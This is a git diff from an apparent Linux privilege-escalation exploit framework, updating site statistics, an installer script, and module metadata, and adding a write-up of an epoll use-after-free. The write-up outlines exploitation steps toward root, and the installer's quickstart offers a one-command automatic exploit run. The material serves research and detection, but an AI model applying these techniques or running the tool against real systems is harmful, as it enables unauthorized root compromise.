<div class="stat-chip stat-kev"><span class="num" data-target="13">0</span><span>★ in CISA KEV</span></div>
|
||||||
<div class="stat-chip"><span class="num" data-target="119">0</span><span>detection rules</span></div>
|
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="cta-row">
|
<div class="cta-row">
|
||||||
@@ -210,7 +210,7 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
|
|
||||||
<article class="bento-card">
|
<article class="bento-card">
|
||||||
<div class="bento-icon">🛡</div>
|
<div class="bento-icon">🛡</div>
|
||||||
<h3>119 detection rules</h3>
|
<h3>151 detection rules</h3>
|
||||||
<p>
|
<p>
|
||||||
auditd · sigma · yara · falco. One command emits the corpus for
|
auditd · sigma · yara · falco. One command emits the corpus for
|
||||||
your SIEM. Each rule grounded in the module's own syscalls.
|
your SIEM. Each rule grounded in the module's own syscalls.
|
||||||
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
<div class="bento-icon">★</div>
|
<div class="bento-icon">★</div>
|
||||||
<h3>CISA KEV prioritized</h3>
|
<h3>CISA KEV prioritized</h3>
|
||||||
<p>
|
<p>
|
||||||
10 of 26 CVEs in the corpus are in CISA's Known Exploited
|
13 of 40 CVEs in the corpus are in CISA's Known Exploited
|
||||||
Vulnerabilities catalog — actively exploited in the wild.
|
Vulnerabilities catalog — actively exploited in the wild.
|
||||||
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
|
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
|
||||||
</p>
|
</p>
|
||||||
@@ -289,14 +289,14 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
|
|
||||||
<article class="bento-card bento-vfy">
|
<article class="bento-card bento-vfy">
|
||||||
<div class="bento-icon">✓</div>
|
<div class="bento-icon">✓</div>
|
||||||
<h3>22 modules empirically verified</h3>
|
<h3>28 modules empirically verified</h3>
|
||||||
<p>
|
<p>
|
||||||
<code>tools/verify-vm/</code> spins up known-vulnerable
|
<code>tools/verify-vm/</code> spins up known-vulnerable
|
||||||
kernels (stock distro + mainline from kernel.ubuntu.com), runs
|
kernels (stock distro + mainline from kernel.ubuntu.com), runs
|
||||||
<code>--explain --active</code> per module, and records the
|
<code>--explain --active</code> per module, and records the
|
||||||
verdict. <strong>22 of 26 CVEs</strong> confirmed against
|
verdict. <strong>28 of 40 CVEs</strong> confirmed against
|
||||||
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
|
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
|
||||||
+ mainline 5.15.5 / 6.1.10. Records baked into the binary;
|
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
|
||||||
<code>--list</code> shows ✓ per module.
|
<code>--list</code> shows ✓ per module.
|
||||||
</p>
|
</p>
|
||||||
</article>
|
</article>
|
||||||
@@ -309,7 +309,7 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
<div class="container">
|
<div class="container">
|
||||||
<div class="section-head">
|
<div class="section-head">
|
||||||
<span class="section-tag">corpus</span>
|
<span class="section-tag">corpus</span>
|
||||||
<h2>26 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
<h2>40 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<h3 class="corpus-h" data-color="green">
|
<h3 class="corpus-h" data-color="green">
|
||||||
@@ -331,6 +331,7 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
<span class="pill green">cgroup_release_agent</span>
|
<span class="pill green">cgroup_release_agent</span>
|
||||||
<span class="pill green kev">★ ptrace_traceme</span>
|
<span class="pill green kev">★ ptrace_traceme</span>
|
||||||
<span class="pill green">sudoedit_editor</span>
|
<span class="pill green">sudoedit_editor</span>
|
||||||
|
<span class="pill green">sudo_host</span>
|
||||||
<span class="pill green">entrybleed</span>
|
<span class="pill green">entrybleed</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -354,6 +355,11 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
<span class="pill yellow kev">★ sudo_samedit</span>
|
<span class="pill yellow kev">★ sudo_samedit</span>
|
||||||
<span class="pill yellow">sequoia</span>
|
<span class="pill yellow">sequoia</span>
|
||||||
<span class="pill yellow">vmwgfx</span>
|
<span class="pill yellow">vmwgfx</span>
|
||||||
|
<span class="pill yellow">ptrace_pidfd</span>
|
||||||
|
<span class="pill yellow">cifswitch</span>
|
||||||
|
<span class="pill yellow">nft_catchall</span>
|
||||||
|
<span class="pill yellow">bad_epoll</span>
|
||||||
|
<span class="pill yellow">ghostlock</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<p class="corpus-foot">
|
<p class="corpus-foot">
|
||||||
@@ -414,7 +420,7 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
<div class="audience-icon">🎓</div>
|
<div class="audience-icon">🎓</div>
|
||||||
<h3>Researchers / CTF</h3>
|
<h3>Researchers / CTF</h3>
|
||||||
<p>
|
<p>
|
||||||
26 CVEs, 10-year span, each with the original PoC author
|
40 CVEs, 10-year span, each with the original PoC author
|
||||||
credited and the kernel-range citation auditable.
|
credited and the kernel-range citation auditable.
|
||||||
<code>--explain</code> shows the reasoning chain; detection
|
<code>--explain</code> shows the reasoning chain; detection
|
||||||
rules let you practice both sides. Source is the documentation.
|
rules let you practice both sides. Source is the documentation.
|
||||||
@@ -511,13 +517,13 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
<div class="tl-col tl-shipped">
|
<div class="tl-col tl-shipped">
|
||||||
<div class="tl-tag">shipped</div>
|
<div class="tl-tag">shipped</div>
|
||||||
<ul>
|
<ul>
|
||||||
<li><strong>22 of 26 CVEs empirically verified</strong> in real Linux VMs</li>
|
<li><strong>28 of 40 CVEs empirically verified</strong> in real Linux VMs</li>
|
||||||
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
|
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
|
||||||
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
|
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
|
||||||
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
|
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
|
||||||
<li><strong>OPSEC notes</strong> — per-module runtime footprint</li>
|
<li><strong>OPSEC notes</strong> — per-module runtime footprint</li>
|
||||||
<li><strong>CISA KEV + NVD CWE + MITRE ATT&CK</strong> metadata pipeline</li>
|
<li><strong>CISA KEV + NVD CWE + MITRE ATT&CK</strong> metadata pipeline</li>
|
||||||
<li>119 detection rules across all four SIEM formats</li>
|
<li>151 detection rules across all four SIEM formats</li>
|
||||||
<li><code>core/host.c</code> shared host-fingerprint refactor</li>
|
<li><code>core/host.c</code> shared host-fingerprint refactor</li>
|
||||||
<li>88-test harness (kernel_range + detect integration)</li>
|
<li>88-test harness (kernel_range + detect integration)</li>
|
||||||
</ul>
|
</ul>
|
||||||
@@ -598,7 +604,7 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
who found the bugs.
|
who found the bugs.
|
||||||
</p>
|
</p>
|
||||||
<p class="footer-meta">
|
<p class="footer-meta">
|
||||||
v0.6.0 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
v0.9.11 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</footer>
|
</footer>
|
||||||
|
|||||||
BIN
Binary file not shown.
|
Before Width: | Height: | Size: 122 KiB After Width: | Height: | Size: 73 KiB |
+12
-12
@@ -35,33 +35,33 @@
|
|||||||
</text>
|
</text>
|
||||||
|
|
||||||
<!-- tagline -->
|
<!-- tagline -->
|
||||||
<text x="80" y="240" font-family="'Inter',sans-serif" font-size="32" fill="#c5c5d3" font-weight="500">
|
<text x="80" y="240" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
|
||||||
Curated Linux LPE corpus.
|
Curated Linux LPE corpus.
|
||||||
</text>
|
</text>
|
||||||
<text x="80" y="282" font-family="'Inter',sans-serif" font-size="32" fill="#c5c5d3" font-weight="500">
|
<text x="80" y="278" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
|
||||||
22 of 26 CVEs verified in real Linux VMs.
|
Every year 2016 → 2026. 28 of 34 verified.
|
||||||
</text>
|
</text>
|
||||||
|
|
||||||
<!-- stat chips -->
|
<!-- stat chips -->
|
||||||
<g transform="translate(80,360)">
|
<g transform="translate(80,360)">
|
||||||
<!-- 31 modules -->
|
<!-- 39 modules -->
|
||||||
<rect x="0" y="0" width="190" height="58" rx="29" fill="#161628" stroke="#25253c"/>
|
<rect x="0" y="0" width="190" height="58" rx="29" fill="#161628" stroke="#25253c"/>
|
||||||
<text x="28" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">31</text>
|
<text x="28" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">39</text>
|
||||||
<text x="64" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">modules</text>
|
<text x="64" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">modules</text>
|
||||||
|
|
||||||
<!-- 22 VM-verified -->
|
<!-- 28 VM-verified -->
|
||||||
<rect x="206" y="0" width="240" height="58" rx="29" fill="#161628" stroke="#10b981" stroke-opacity="0.5"/>
|
<rect x="206" y="0" width="240" height="58" rx="29" fill="#161628" stroke="#10b981" stroke-opacity="0.5"/>
|
||||||
<text x="234" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#34d399">22</text>
|
<text x="234" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#34d399">28</text>
|
||||||
<text x="270" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">✓ VM-verified</text>
|
<text x="270" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">✓ VM-verified</text>
|
||||||
|
|
||||||
<!-- 10 KEV -->
|
<!-- 12 KEV -->
|
||||||
<rect x="482" y="0" width="218" height="58" rx="29" fill="#161628" stroke="#ef4444" stroke-opacity="0.4"/>
|
<rect x="482" y="0" width="218" height="58" rx="29" fill="#161628" stroke="#ef4444" stroke-opacity="0.4"/>
|
||||||
<text x="510" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ef4444">10</text>
|
<text x="510" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ef4444">12</text>
|
||||||
<text x="546" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">★ in CISA KEV</text>
|
<text x="546" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">★ in CISA KEV</text>
|
||||||
|
|
||||||
<!-- 119 rules -->
|
<!-- 151 rules -->
|
||||||
<rect x="736" y="0" width="232" height="58" rx="29" fill="#161628" stroke="#25253c"/>
|
<rect x="736" y="0" width="232" height="58" rx="29" fill="#161628" stroke="#25253c"/>
|
||||||
<text x="764" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">119</text>
|
<text x="764" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">151</text>
|
||||||
<text x="810" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">detection rules</text>
|
<text x="810" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">detection rules</text>
|
||||||
</g>
|
</g>
|
||||||
|
|
||||||
@@ -80,6 +80,6 @@
|
|||||||
|
|
||||||
<!-- subtle url at very bottom -->
|
<!-- subtle url at very bottom -->
|
||||||
<text x="1120" y="610" font-family="'JetBrains Mono',monospace" font-size="14" fill="#5b5b75" text-anchor="end">
|
<text x="1120" y="610" font-family="'JetBrains Mono',monospace" font-size="14" fill="#5b5b75" text-anchor="end">
|
||||||
karazajac.github.io/SKELETONKEY
|
skeletonkey.netslum.io
|
||||||
</text>
|
</text>
|
||||||
</svg>
|
</svg>
|
||||||
|
|||||||
|
Before Width: | Height: | Size: 4.0 KiB After Width: | Height: | Size: 4.0 KiB |
+52
-22
@@ -28,21 +28,25 @@ set -eu
|
|||||||
|
|
||||||
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
|
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
|
||||||
VERSION="${SKELETONKEY_VERSION:-latest}"
|
VERSION="${SKELETONKEY_VERSION:-latest}"
|
||||||
PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"
|
# PREFIX resolution is deferred until install time so we can pick a
|
||||||
|
# sudo-free default. SKELETONKEY is a privilege-escalation tool — by
|
||||||
|
# definition the operator does NOT have root yet, so the installer must
|
||||||
|
# NEVER need sudo. Empty here means "auto-pick a writable dir below".
|
||||||
|
PREFIX="${SKELETONKEY_PREFIX:-}"
|
||||||
|
|
||||||
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
|
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
|
||||||
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
|
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
|
||||||
fail() { printf '[\033[1;31m-\033[0m] %s\n' "$*" >&2; exit 1; }
|
fail() { printf '[\033[1;31m-\033[0m] %s\n' "$*" >&2; exit 1; }
|
||||||
|
|
||||||
# Detect architecture
|
# Detect architecture. Default to the musl-static binary on both
|
||||||
|
# x86_64 and arm64 — works on every libc (glibc 2.x of any version,
|
||||||
|
# musl, uclibc); costs ~800 KB extra vs dynamic but eliminates the
|
||||||
|
# GLIBC_2.NN portability ceiling that bites on Debian-stable, older
|
||||||
|
# RHEL hosts, and Alpine. Set SKELETONKEY_DYNAMIC=1 to fetch the
|
||||||
|
# smaller dynamic build (needs glibc >= 2.38 for x86_64 — Ubuntu
|
||||||
|
# 24.04 / Debian 13 / RHEL 10).
|
||||||
arch=$(uname -m)
|
arch=$(uname -m)
|
||||||
case "$arch" in
|
case "$arch" in
|
||||||
# x86_64 default: the musl-static binary works on every libc
|
|
||||||
# (glibc 2.x of any version, musl, uclibc) — costs ~800 KB extra
|
|
||||||
# vs the dynamic build but eliminates the GLIBC_2.NN portability
|
|
||||||
# ceiling that bit users on Debian-stable / older RHEL hosts.
|
|
||||||
# Set SKELETONKEY_DYNAMIC=1 to fetch the smaller dynamic build
|
|
||||||
# (needs glibc >= 2.38, i.e. Ubuntu 24.04 / Debian 13 / RHEL 10).
|
|
||||||
x86_64|amd64)
|
x86_64|amd64)
|
||||||
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
|
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
|
||||||
target=x86_64
|
target=x86_64
|
||||||
@@ -50,7 +54,13 @@ case "$arch" in
|
|||||||
target=x86_64-static
|
target=x86_64-static
|
||||||
fi
|
fi
|
||||||
;;
|
;;
|
||||||
aarch64|arm64) target=arm64 ;;
|
aarch64|arm64)
|
||||||
|
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
|
||||||
|
target=arm64
|
||||||
|
else
|
||||||
|
target=arm64-static
|
||||||
|
fi
|
||||||
|
;;
|
||||||
*) fail "Unsupported architecture: $arch (only x86_64 and arm64 currently)" ;;
|
*) fail "Unsupported architecture: $arch (only x86_64 and arm64 currently)" ;;
|
||||||
esac
|
esac
|
||||||
log "detected arch: $target"
|
log "detected arch: $target"
|
||||||
@@ -102,29 +112,49 @@ fi
|
|||||||
|
|
||||||
chmod +x "$tmp/skeletonkey"
|
chmod +x "$tmp/skeletonkey"
|
||||||
|
|
||||||
# Install. Try $PREFIX directly; if not writable, sudo.
|
# Choose install dir — NEVER escalate to sudo. If the user pinned
|
||||||
target_path="$PREFIX/skeletonkey"
|
# SKELETONKEY_PREFIX we honor it exactly (creating it if needed) and
|
||||||
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
|
# error rather than escalate when it isn't writable. Otherwise prefer
|
||||||
mv "$tmp/skeletonkey" "$target_path"
|
# /usr/local/bin only when it happens to already be writable, and fall
|
||||||
elif command -v sudo >/dev/null 2>&1; then
|
# back to a guaranteed per-user dir ($HOME/.local/bin) that needs no
|
||||||
log "$PREFIX needs sudo; you may be prompted for password"
|
# privileges. This keeps `curl ... | sh` password-free for the exact
|
||||||
sudo mv "$tmp/skeletonkey" "$target_path"
|
# users this tool is meant for: unprivileged accounts.
|
||||||
|
if [ -n "$PREFIX" ]; then
|
||||||
|
[ -d "$PREFIX" ] || mkdir -p "$PREFIX" 2>/dev/null \
|
||||||
|
|| fail "cannot create SKELETONKEY_PREFIX=$PREFIX"
|
||||||
|
[ -w "$PREFIX" ] || fail "SKELETONKEY_PREFIX=$PREFIX not writable (the installer never uses sudo — pick a writable dir)"
|
||||||
|
elif [ -w /usr/local/bin ]; then
|
||||||
|
PREFIX=/usr/local/bin
|
||||||
else
|
else
|
||||||
fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
|
PREFIX="${XDG_BIN_HOME:-$HOME/.local/bin}"
|
||||||
|
mkdir -p "$PREFIX" 2>/dev/null || fail "cannot create $PREFIX"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
target_path="$PREFIX/skeletonkey"
|
||||||
|
mv "$tmp/skeletonkey" "$target_path" || fail "failed to install to $target_path"
|
||||||
ok "installed: $target_path"
|
ok "installed: $target_path"
|
||||||
|
|
||||||
|
# ~/.local/bin is frequently absent from PATH on fresh accounts — tell
|
||||||
|
# the user how to invoke it rather than letting `skeletonkey` 404.
|
||||||
|
case ":$PATH:" in
|
||||||
|
*":$PREFIX:"*) : ;;
|
||||||
|
*) log "note: $PREFIX is not on \$PATH — run it as $target_path, or add the dir to PATH" ;;
|
||||||
|
esac
|
||||||
|
|
||||||
"$target_path" --version
|
"$target_path" --version
|
||||||
|
|
||||||
cat >&2 <<EOF
|
cat >&2 <<EOF
|
||||||
|
|
||||||
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
|
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
|
||||||
|
|
||||||
Quickstart:
|
Quickstart (no root required — gaining it is the point):
|
||||||
sudo skeletonkey --scan # what's this box vulnerable to?
|
skeletonkey --scan # what's this box vulnerable to?
|
||||||
sudo skeletonkey --audit # broader system hygiene
|
skeletonkey --audit # broader system hygiene
|
||||||
sudo skeletonkey --detect-rules --format=auditd \\
|
skeletonkey --auto --i-know # run the safest available LPE
|
||||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules # deploy detection rules
|
|
||||||
|
Deploy detection rules (defensive; only the write to /etc/audit needs root):
|
||||||
|
skeletonkey --detect-rules --format=auditd \\
|
||||||
|
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
|
|
||||||
See \`skeletonkey --help\` for all commands.
|
See \`skeletonkey --help\` for all commands.
|
||||||
EOF
|
EOF
|
||||||
|
|||||||
@@ -732,6 +732,7 @@ const struct skeletonkey_module af_packet2_module = {
|
|||||||
.detect_yara = af_packet2_yara,
|
.detect_yara = af_packet2_yara,
|
||||||
.detect_falco = af_packet2_falco,
|
.detect_falco = af_packet2_falco,
|
||||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + TPACKET_V2 ring on AF_PACKET; crafts nested-VLAN ETH_P_8021AD frames with 0x88A8/0x8100 TPIDs to trigger tpacket_rcv underflow; fires 256 frames + 64 sendmmsg via AF_UNIX socketpair spray. Tag 'skeletonkey-afp-fc-' visible in KASAN splats. Audit-visible via socket(AF_PACKET) + sendmsg/sendto from userns. No persistent artifacts; kernel cleans up on child exit.",
|
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + TPACKET_V2 ring on AF_PACKET; crafts nested-VLAN ETH_P_8021AD frames with 0x88A8/0x8100 TPIDs to trigger tpacket_rcv underflow; fires 256 frames + 64 sendmmsg via AF_UNIX socketpair spray. Tag 'skeletonkey-afp-fc-' visible in KASAN splats. Audit-visible via socket(AF_PACKET) + sendmsg/sendto from userns. No persistent artifacts; kernel cleans up on child exit.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_af_packet2(void)
|
void skeletonkey_register_af_packet2(void)
|
||||||
|
|||||||
@@ -955,6 +955,7 @@ const struct skeletonkey_module af_packet_module = {
|
|||||||
.detect_yara = af_packet_yara,
|
.detect_yara = af_packet_yara,
|
||||||
.detect_falco = af_packet_falco,
|
.detect_falco = af_packet_falco,
|
||||||
.opsec_notes = "Creates AF_PACKET socket and TPACKET_V3 ring inside unshare(CLONE_NEWUSER|CLONE_NEWNET); triggers integer overflow with crafted tp_block_size/tp_block_nr and sprays ~200 loopback frames. Audit-visible via socket(AF_PACKET) (a0=17) + sendmmsg from a userns process; KASAN tag 'iamroot-afp-tag' may appear in dmesg if enabled. No persistent files. No cleanup callback - kernel state unwinds on child exit.",
|
.opsec_notes = "Creates AF_PACKET socket and TPACKET_V3 ring inside unshare(CLONE_NEWUSER|CLONE_NEWNET); triggers integer overflow with crafted tp_block_size/tp_block_nr and sprays ~200 loopback frames. Audit-visible via socket(AF_PACKET) (a0=17) + sendmmsg from a userns process; KASAN tag 'iamroot-afp-tag' may appear in dmesg if enabled. No persistent files. No cleanup callback - kernel state unwinds on child exit.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_af_packet(void)
|
void skeletonkey_register_af_packet(void)
|
||||||
|
|||||||
@@ -898,6 +898,7 @@ const struct skeletonkey_module af_unix_gc_module = {
|
|||||||
.detect_yara = af_unix_gc_yara,
|
.detect_yara = af_unix_gc_yara,
|
||||||
.detect_falco = af_unix_gc_falco,
|
.detect_falco = af_unix_gc_falco,
|
||||||
.opsec_notes = "Two-threaded race: Thread A creates socketpair(AF_UNIX) with SCM_RIGHTS cycle then close; Thread B drives independent SCM_RIGHTS traffic on a held pair. ~5s budget (30s with --full-chain). msg_msg kmalloc-512 spray tagged 'SKELETONKEYU'. Writes /tmp/skeletonkey-af_unix_gc.log with empirical stats. Audit-visible via socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd triple. Dmesg may show UAF KASAN if kernel vulnerable. Cleanup callback unlinks the log.",
|
.opsec_notes = "Two-threaded race: Thread A creates socketpair(AF_UNIX) with SCM_RIGHTS cycle then close; Thread B drives independent SCM_RIGHTS traffic on a held pair. ~5s budget (30s with --full-chain). msg_msg kmalloc-512 spray tagged 'SKELETONKEYU'. Writes /tmp/skeletonkey-af_unix_gc.log with empirical stats. Audit-visible via socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd triple. Dmesg may show UAF KASAN if kernel vulnerable. Cleanup callback unlinks the log.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_af_unix_gc(void)
|
void skeletonkey_register_af_unix_gc(void)
|
||||||
|
|||||||
@@ -0,0 +1,106 @@
|
|||||||
|
# bad_epoll — CVE-2026-46242
|
||||||
|
|
||||||
|
"Bad Epoll" — a race-condition use-after-free in the Linux kernel epoll
|
||||||
|
subsystem (`fs/eventpoll.c`) reachable by **any unprivileged local user**.
|
||||||
|
No user namespace, no capability, no special `CONFIG` — `epoll_create1(2)`,
|
||||||
|
`epoll_ctl(2)`, and `close(2)` are available to everyone, which is what
|
||||||
|
makes this bug unusually dangerous.
|
||||||
|
|
||||||
|
## The bug
|
||||||
|
|
||||||
|
On the file-teardown path, `ep_remove()` clears `file->f_ep` under
|
||||||
|
`file->f_lock` but keeps **using** the file inside the same critical
|
||||||
|
section — the `hlist_del_rcu()` walk over the eventpoll's `refs` list and
|
||||||
|
the trailing `spin_unlock()`. A concurrent `__fput()` of a linked epoll
|
||||||
|
file can observe the transient `NULL` `f_ep`, skip
|
||||||
|
`eventpoll_release_file()`, and jump straight to `f_op->release`, freeing
|
||||||
|
a `struct eventpoll` that the first path is still walking →
|
||||||
|
**use-after-free** on a live kernel object.
|
||||||
|
|
||||||
|
The public exploit (Jaeyoung Chung, submitted to Google's kernelCTF)
|
||||||
|
arranges four epoll objects in two pairs — one pair drives the race, the
|
||||||
|
other is the victim — and converts the 8-byte UAF write into control of a
|
||||||
|
`struct file` via a **cross-cache** attack (the freed `eventpoll` slab
|
||||||
|
page is drained to the buddy allocator and reclaimed as pipe backing
|
||||||
|
buffers). From there it reads arbitrary kernel memory through
|
||||||
|
`/proc/self/fdinfo` and ROPs to a root shell. Roughly **99% reliable**
|
||||||
|
despite a race window only ~6 instructions wide; the racer widens it with
|
||||||
|
`close(dup())` storms that induce false-sharing on the file's `f_count`
|
||||||
|
cache line. It **rarely trips KASAN**, which is why the bug survived three
|
||||||
|
years and why it is hard to detect at runtime.
|
||||||
|
|
||||||
|
## Affected range
|
||||||
|
|
||||||
|
| | |
|
||||||
|
|---|---|
|
||||||
|
| Vulnerable path introduced | commit `58c9b016e128` — Linux **6.4** (2023-04-08) |
|
||||||
|
| Fixed upstream | commit `a6dc643c69311677c574a0f17a3f4d66a5f3744b` — merged for **7.1-rc1** (2026-04-24) |
|
||||||
|
| Stable backport | **7.0.13** (Debian forky `7.0.13-1` / sid `7.0.14-1`) |
|
||||||
|
| Still vulnerable at time of writing | trixie **6.12.x** (no backport yet); 6.6 LTS pending |
|
||||||
|
| Not affected | 6.1 and older (predate the bug — Debian: "vulnerable code not present") |
|
||||||
|
| NVD class | CWE-416 (Use After Free) via CWE-362 (race) |
|
||||||
|
| CISA KEV | no (brand new) |
|
||||||
|
|
||||||
|
Table threshold is a single `{7,0,13}` entry — `kernel_range_is_patched()`
|
||||||
|
treats 7.1+ as patched-via-mainline and everything in `[6.4, 7.0.13)` as
|
||||||
|
vulnerable, matching the Debian tracker. Add 6.6.x / 6.12.x rows when
|
||||||
|
those LTS backports land (`tools/refresh-kernel-ranges.py` flags them).
|
||||||
|
|
||||||
|
## Trigger / detection
|
||||||
|
|
||||||
|
`detect()` is a **pure version gate** — no active probe, because there is
|
||||||
|
no cheap, safe way to distinguish a vulnerable kernel from a patched one
|
||||||
|
without actually winning the race (the dangerous part). It returns `OK`
|
||||||
|
below 6.4 or on a patched kernel, and `VULNERABLE` in range. There is **no
|
||||||
|
`PRECOND_FAIL` userns path** the way `nft_catchall` has — epoll needs no
|
||||||
|
namespace, so there is no unprivileged-userns stopgap to report or to
|
||||||
|
harden with.
|
||||||
|
|
||||||
|
`exploit()` forks a CPU-pinned child that builds the epoll race pair (a
|
||||||
|
waiter eventpoll watching a target eventpoll) and exercises the
|
||||||
|
`ep_remove`-vs-`__fput` concurrent-close window a **hard-bounded** number
|
||||||
|
of times (48 attempts / 2 s), widening it with `close(dup())`
|
||||||
|
false-sharing storms, snapshots the `eventpoll`/`kmalloc-192` slab, and
|
||||||
|
returns `EXPLOIT_FAIL`.
|
||||||
|
|
||||||
|
It is **deliberately under-driven**. A *won* race frees a live
|
||||||
|
`struct eventpoll` — genuine kernel memory corruption that rarely trips
|
||||||
|
KASAN, so on a vulnerable production host a completed race can silently
|
||||||
|
destabilise the box rather than cleanly oops. This module therefore does
|
||||||
|
**not** grind the race to a win, does **not** perform the cross-cache
|
||||||
|
reclaim, and does **not** bundle the per-kernel `fdinfo` arbitrary-read +
|
||||||
|
ROP that lands root (per-build offsets refused). The trigger is
|
||||||
|
**reconstructed from the public kernelCTF PoC and is not VM-verified**. It
|
||||||
|
never claims root it did not get.
|
||||||
|
|
||||||
|
Because a kernel race is the least predictable class in the corpus — and
|
||||||
|
this one can corrupt memory invisibly — `bad_epoll` carries the **lowest
|
||||||
|
`--auto` safety rank** (see `module_safety_rank()` in `skeletonkey.c`), so
|
||||||
|
`--auto` only ever reaches for it after every safer vulnerable module.
|
||||||
|
|
||||||
|
## Detection is hard — read this before shipping the rules
|
||||||
|
|
||||||
|
Unlike most modules, `bad_epoll` has **no high-fidelity signature**.
|
||||||
|
`epoll_create1` / `epoll_ctl` / `close` is the steady-state behaviour of
|
||||||
|
nginx, systemd, and every language runtime's event loop; the exploit
|
||||||
|
looks identical and rarely trips KASAN. The shipped auditd/sigma/falco
|
||||||
|
rules therefore key on the **post-exploitation** tell — an unprivileged
|
||||||
|
process transitioning to euid 0 without a setuid `execve` — plus a
|
||||||
|
recommendation to monitor kernel logs for oops/BUG lines. Expect false
|
||||||
|
positives from legitimate privilege-management daemons and tune per
|
||||||
|
environment. There is no yara rule (no file artifact). Treat this module
|
||||||
|
as much as a *blue-team teaching case* — "here is a root LPE your existing
|
||||||
|
stack is nearly blind to" — as an offensive one.
|
||||||
|
|
||||||
|
## Fix / mitigation
|
||||||
|
|
||||||
|
Upgrade the kernel (>= 7.0.13, or 7.1+). There is **no partial
|
||||||
|
mitigation**: epoll cannot be disabled in practice, and no
|
||||||
|
`unprivileged_userns_clone` / sysctl toggle closes this path the way it
|
||||||
|
does for the netfilter bugs. `mitigate()` is `NULL` for that reason.
|
||||||
|
|
||||||
|
## Credit
|
||||||
|
|
||||||
|
Discovery, exploitation, and the public kernelCTF PoC:
|
